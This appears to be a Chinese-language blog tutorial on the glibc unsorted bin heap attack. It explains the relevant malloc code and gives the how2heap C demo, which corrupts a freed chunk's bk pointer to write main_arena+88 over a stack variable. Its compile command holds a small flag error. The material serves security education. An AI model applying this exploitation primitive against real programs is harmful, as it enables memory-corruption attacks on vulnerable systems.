Unsorted Bin Attack

unsorted bin Attack

1. 概述

Unsorted bin attack 自然是作用于Unsorted bin的,该攻击手段适用的libc版本是2.27及以下。条件是能够修改Unsorted Bin Chunk 的bk指针,这个攻击达到的效果就是在目标位置写入一个很大的值(main_arena + 88)

2. 原理剖析

在 glibc/malloc/malloc.c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

1
2
3
4
victim = unsorted_chunks (av)->bk
bck = victim->bk
unsorted_chunks (av)->bk = bck
bck->fd = unsorted_chunks (av)

逐行来解释一下这个代码
victim = unsorted_chunks (av)->bk :将Unsorted Bin中的最后一个chunk给到victim
bck = victim->bk :将最后一个chunk的前一个ckunk给bck
unsorted_chunks (av)->bk = bck :让 main_arena 指向bck
bck->fd = unsorted_chunks (av:将bck的fd指针修改为main_arena

那么很显然,如果我们可以控制Unsorted Bin 中chunk 的 bk指针,我们就可以向其中写入一个地址

*注意: 执行完 Unsorted Bin Attack 之后 Unsorted Bin 就损坏了,无法继续向里面放入chunk

3. 应用示例

我们用how2heap的源码进行演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>

int main(){
// 程序开始时的提示信息
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

// 对应中文:
/*
fprintf(stderr, "本程序演示如何通过 unsorted bin 攻击将一个大的无符号长整型值写入栈中。\n");
fprintf(stderr, "在实际攻击中,unsorted bin 攻击通常是为了进一步攻击做准备,例如修改 libc 中的全局变量 global_max_fast,以便进行 fastbin 攻击。\n\n");
*/

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

// 对应中文:
/*
fprintf(stderr, "首先,我们看一下栈上想要覆盖的目标变量:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
*/

unsigned long *p=malloc(0x500);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(0x600);

// 对应中文:
/*
fprintf(stderr, "现在,我们在堆上分配第一个正常内存块,地址为:%p\n", p);
fprintf(stderr, "再分配另一个正常的内存块,目的是避免在释放第一个内存块时,top chunk 与其合并。\n\n");
*/

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

// 对应中文:
/*
fprintf(stderr, "我们现在已经释放了第一个内存块,它将被插入到 unsorted bin 中,其 bk 指针指向:%p\n", (void*)p[1]);
*/

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

// 对应中文:
/*
fprintf(stderr, "现在模拟一个可以覆盖 victim->bk 指针的漏洞。\n");
fprintf(stderr, "我们将 victim->bk 写为目标地址减去 16(如果是 32 位机器,则应为目标地址减去 8):%p\n\n", (void*)p[1]);
*/

malloc(0x500);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

// 对应中文:
/*
fprintf(stderr, "再次调用 malloc 来获取我们刚刚释放的内存块。在这个过程中,目标变量应该已经被改写了:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
*/

编译:gcc unsorted_bin_attack.c -no-pie -g -i test

我们通过gdb来调试一下这个程序
先来看看正常free后,Unsorted Bin中的情况

image-20250617132250048
在来看一看修改后的情况

image-20250617132301490
此时,目标地址+0x10的位置还是 0,我们执行malloc,触发 Unsorted Bin Attack 后看看这个位置

image-20250617132309903
可以看到,这个位置成功被我们修改成了 main_arena + 88

至此,我们便完成了 Unsorted Bin Attack